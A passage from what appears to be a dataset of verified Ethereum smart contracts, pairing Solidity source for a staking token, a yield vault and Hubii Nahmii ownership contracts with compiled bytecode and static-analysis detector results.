balances[msg.sender] = balances[msg.sender].add(amount.sub(burned)); emit Unstaked(msg.sender, amount.sub(burned), stakedbalances[msg.sender], data); emit Transfer(msg.sender, msg.sender, amount.sub(burned)); emit Transfer(msg.sender, burnaddress, burned); return true; } //Function to return total staked on a single address function totalStakedFor(address addr) public override view returns (uint256) { return stakedbalances[addr]; } //Function to shows timestamp on stake processes function stakeTimestampFor(address addr) public view returns (uint256) { return staketimestamps[addr]; } //Function to find out time passed since last timestamp on address function stakeTimeFor(address addr) public view returns (uint256) { return block.timestamp.sub(staketimestamps[addr]); } //Total staked on all addresses function totalStaked() public override view returns (uint256) { return totalstaked; } //Support History variable to show support on optional stake details function supportsHistory() public override pure returns (bool) { return false; } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80637033e4a6116100ad578063a9059cbb11610071578063a9059cbb14610689578063c8fd6ed0146106ed578063db36b789146107c8578063dd62ed3e14610820578063e5c5f1d5146108985761012c565b80637033e4a61461050c57806370a082311461052c578063817b1cd21461058457806395d89b41146105a2578063a457c2d7146106255761012c565b806323b872dd116100f457806323b872dd14610353578063313ce567146103d757806339509351146103f857806346c327b41461045c5780634b341aed146104b45761012c565b806301eaa6ed1461013157806306fdde0314610173578063095ea7b3146101f65780630e89439b1461025a57806318160ddd14610335575b600080fd5b61015d6004803603602081101561014757600080fd5b81019080803590602001909291905050506108cc565b6040518082815260200191505060405180910390f35b61017b6108ee565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101bb5780820151818401526020810190506101a0565b50505050905090810190601f1680156101e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102426004803603604081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610927565b60405180821515815260200191505060405180910390f35b61031d6004803603604081101561027057600080fd5b81019080803590602001909291908035906020019064010000000081111561029757600080fd5b8201836020820111156102a957600080fd5b803590602001918460018302840111640100000000831117156102cb57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610acd565b60405180821515815260200191505060405180910390f35b61033d610ff2565b6040518082815260200191505060405180910390f35b6103bf6004803603606081101561036957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ffc565b60405180821515815260200191505060405180910390f35b6103df611449565b604051808260ff16815260200191505060405180910390f35b6104446004803603604081101561040e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061144e565b60405180821515815260200191505060405180910390f35b61049e6004803603602081101561047257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061179e565b6040518082815260200191505060405180910390f35b6104f6600480360360208110156104ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117f9565b6040518082815260200191505060405180910390f35b610514611842565b60405180821515815260200191505060405180910390f35b61056e6004803603602081101561054257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611847565b6040518082815260200191505060405180910390f35b61058c61188f565b6040518082815260200191505060405180910390f35b6105aa611899565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105ea5780820151818401526020810190506105cf565b50505050905090810190601f1680156106175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106716004803603604081101561063b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118d2565b60405180821515815260200191505060405180910390f35b6106d56004803603604081101561069f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611bce565b60405180821515815260200191505060405180910390f35b6107b06004803603604081101561070357600080fd5b81019080803590602001909291908035906020019064010000000081111561072a57600080fd5b82018360208201111561073c57600080fd5b8035906020019184600183028401116401000000008311171561075e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611e19565b60405180821515815260200191505060405180910390f35b61080a600480360360208110156107de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506122f8565b6040518082815260200191505060405180910390f35b6108826004803603604081101561083657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612341565b6040518082815260200191505060405180910390f35b6108a06123c8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000806108e36014846123cd90919063ffffffff16565b905080915050919050565b6040518060400160405280601081526020017f45515555534d696e696e67546f6b656e0000000000000000000000000000000081525081565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156109dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f416d6f756e7420657863656564732062616c616e63652e00000000000000000081525060200191505060405180910390fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115610b1a57600080fd5b60148310610b90576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f416d6f756e7420746f206c6f7720746f2070726f63657373000000000000000081525060200191505060405180910390fd5b610be1836000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241790919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000610c2e846108cc565b9050610c458160045461241790919063ffffffff16565b600481905550610c9c816000808073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246190919063ffffffff16565b6000808073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d42610cf4828661241790919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246190919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dac610d9b828661241790919063ffffffff16565b60055461246190919063ffffffff16565b60058190555042600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167fc65e53b88159e7d2c0fc12a0600072e28ae53ff73b4c1715369c30f160935142610e41838761241790919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054866040518084815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610ece578082015181840152602081019050610eb3565b50505050905090810190601f168015610efb5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a23373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f6c848861241790919063ffffffff16565b6040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600191505092915050565b6000600454905090565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156110b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f416d6f756e7420657863656564732062616c616e63652e00000000000000000081525060200191505060405180910390fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156111a4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f416d6f756e74206578636565647320616c6c6f77616e63652e0000000000000081525060200191505060405180910390fd5b6111f5826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241790919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112c682600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241790919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611397826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b600061151d600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241790919063ffffffff16565b821115611592576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f416d6f756e7420657863656564732062616c616e63652e00000000000000000081525060200191505060405180910390fd5b61162182600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246190919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92561177f85600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246190919063ffffffff16565b6040518082815260200191505060405180910390a36001905092915050565b60006117f2600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261241790919063ffffffff16565b9050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600554905090565b6040518060400160405280600481526020017f45514d540000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156119c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f416d6f756e7420657863656564732062616c616e63652e00000000000000000081525060200191505060405180910390fd5b611a5582600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241790919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925611bb385600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241790919063ffffffff16565b6040518082815260200191505060405180910390a392915050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115611c84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f416d6f756e7420657863656564732062616c616e63652e00000000000000000081525060200191505060405180910390fd5b611cd5826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241790919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d68826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115611e6757600080fd5b600554831115611e7657600080fd5b60148310611eec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f416d6f756e7420746f206c6f7720746f2070726f63657373000000000000000081525060200191505060405180910390fd5b611f3e83600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241790919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f968360055461241790919063ffffffff16565b6005819055506000611fa7846108cc565b9050611fbe8160045461241790919063ffffffff16565b600481905550612015816000808073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246190919063ffffffff16565b6000808073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120ba61206d828661241790919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246190919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167faf01bfc8475df280aca00b578c4a948e6d95700f0db8c13365240f7f973c8754612147838761241790919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054866040518084815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156121d45780820151818401526020810190506121b9565b50505050905090810190601f1680156122015780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a23373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef612272848861241790919063ffffffff16565b6040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081565b600061240f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124e9565b905092915050565b600061245983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506125af565b905092915050565b6000808284019050838110156124df576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008083118290612595576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561255a57808201518184015260208101905061253f565b50505050905090810190601f1680156125875780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816125a157fe5b049050809150509392505050565b600083831115829061265c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612621578082015181840152602081019050612606565b50505050905090810190601f16801561264e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fea264697066735822122006e3529349c8a04b64894986cdebaad893882fd28dd50e9110a8e17848d4c3fc64736f6c63430007000033
{"success": true, "error": null, "results": {}}
3,074
0x9b38fce617ca493b973902e5ac450fcae4d35cf5
/** *Submitted for verification at Etherscan.io on 2020-08-13 */ pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return _msgSender() == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface Controller { function withdraw(address, uint) external; function balanceOf(address) external view returns (uint); function earn(address, uint) external; } contract afiVault is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; IERC20 public token; uint public min = 9500; uint public constant max = 10000; address public governance; address public controller; constructor (address _token, address _controller) public ERC20Detailed( string(abi.encodePacked("afi ", ERC20Detailed(_token).name())), string(abi.encodePacked("afi", ERC20Detailed(_token).symbol())), ERC20Detailed(_token).decimals() ) { token = IERC20(_token); governance = msg.sender; controller = _controller; } function balance() public view returns (uint) { return token.balanceOf(address(this)) .add(Controller(controller).balanceOf(address(token))); } function setMin(uint _min) external { require(msg.sender == governance, "!governance"); min = _min; } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function setController(address _controller) public { require(msg.sender == governance, "!governance"); controller = _controller; } // Custom logic in here for how much the vault allows to be borrowed // Sets minimum required on-hand to keep small withdrawals cheap function available() public view returns (uint) { return token.balanceOf(address(this)).mul(min).div(max); } function earn() public { uint _bal = available(); token.safeTransfer(controller, _bal); Controller(controller).earn(address(token), _bal); } function depositAll() external { deposit(token.balanceOf(msg.sender)); } function deposit(uint _amount) public { uint _pool = balance(); uint _before = token.balanceOf(address(this)); token.safeTransferFrom(msg.sender, address(this), _amount); uint _after = token.balanceOf(address(this)); _amount = _after.sub(_before); // Additional check for deflationary tokens uint shares = 0; if (totalSupply() == 0) { shares = _amount; } else { shares = (_amount.mul(totalSupply())).div(_pool); } _mint(msg.sender, shares); } function withdrawAll() external { withdraw(balanceOf(msg.sender)); } // Used to swap any borrowed reserve over the debt limit to liquidate to 'token' function harvest(address reserve, uint amount) external { require(msg.sender == controller, "!controller"); require(reserve != address(token), "token"); IERC20(reserve).safeTransfer(controller, amount); } // No rebalance implementation for lower fees and faster swaps function withdraw(uint _shares) public { uint r = (balance().mul(_shares)).div(totalSupply()); _burn(msg.sender, _shares); // Check balance uint b = token.balanceOf(address(this)); if (b < r) { uint _withdraw = r.sub(b); Controller(controller).withdraw(address(token), _withdraw); uint _after = token.balanceOf(address(this)); uint _diff = _after.sub(b); if (_diff < _withdraw) { r = b.add(_diff); } } token.safeTransfer(msg.sender, r); } function getPricePerFullShare() public view returns (uint) { return balance().mul(1e18).div(totalSupply()); } }
0x739b38fce617ca493b973902e5ac450fcae4d35cf530146080604052600080fdfea265627a7a7231582000740a4cef983cb17307254c40578be8a00be5cb06d683e76ac8b2e36802b14a64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
3,075
0x95990bc424c1adf7d10488f2af59b7f42f464d9c
pragma solidity >=0.4.25 <0.6.0; pragma experimental ABIEncoderV2; /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS */ /** * @title Modifiable * @notice A contract with basic modifiers */ contract Modifiable { // // Modifiers // ----------------------------------------------------------------------------------------------------------------- modifier notNullAddress(address _address) { require(_address != address(0)); _; } modifier notThisAddress(address _address) { require(_address != address(this)); _; } modifier notNullOrThisAddress(address _address) { require(_address != address(0)); require(_address != address(this)); _; } modifier notSameAddresses(address _address1, address _address2) { if (_address1 != _address2) _; } } /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS */ /** * @title SelfDestructible * @notice Contract that allows for self-destruction */ contract SelfDestructible { // // Variables // ----------------------------------------------------------------------------------------------------------------- bool public selfDestructionDisabled; // // Events // ----------------------------------------------------------------------------------------------------------------- event SelfDestructionDisabledEvent(address wallet); event TriggerSelfDestructionEvent(address wallet); // // Functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Get the address of the destructor role function destructor() public view returns (address); /// @notice Disable self-destruction of this contract /// @dev This operation can not be undone function disableSelfDestruction() public { // Require that sender is the assigned destructor require(destructor() == msg.sender); // Disable self-destruction selfDestructionDisabled = true; // Emit event emit SelfDestructionDisabledEvent(msg.sender); } /// @notice Destroy this contract function triggerSelfDestruction() public { // Require that sender is the assigned destructor require(destructor() == msg.sender); // Require that self-destruction has not been disabled require(!selfDestructionDisabled); // Emit event emit TriggerSelfDestructionEvent(msg.sender); // Self-destruct and reward destructor selfdestruct(msg.sender); } } /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS */ /** * @title Ownable * @notice A modifiable that has ownership roles */ contract Ownable is Modifiable, SelfDestructible { // // Variables // ----------------------------------------------------------------------------------------------------------------- address public deployer; address public operator; // // Events // ----------------------------------------------------------------------------------------------------------------- event SetDeployerEvent(address oldDeployer, address newDeployer); event SetOperatorEvent(address oldOperator, address newOperator); // // Constructor // 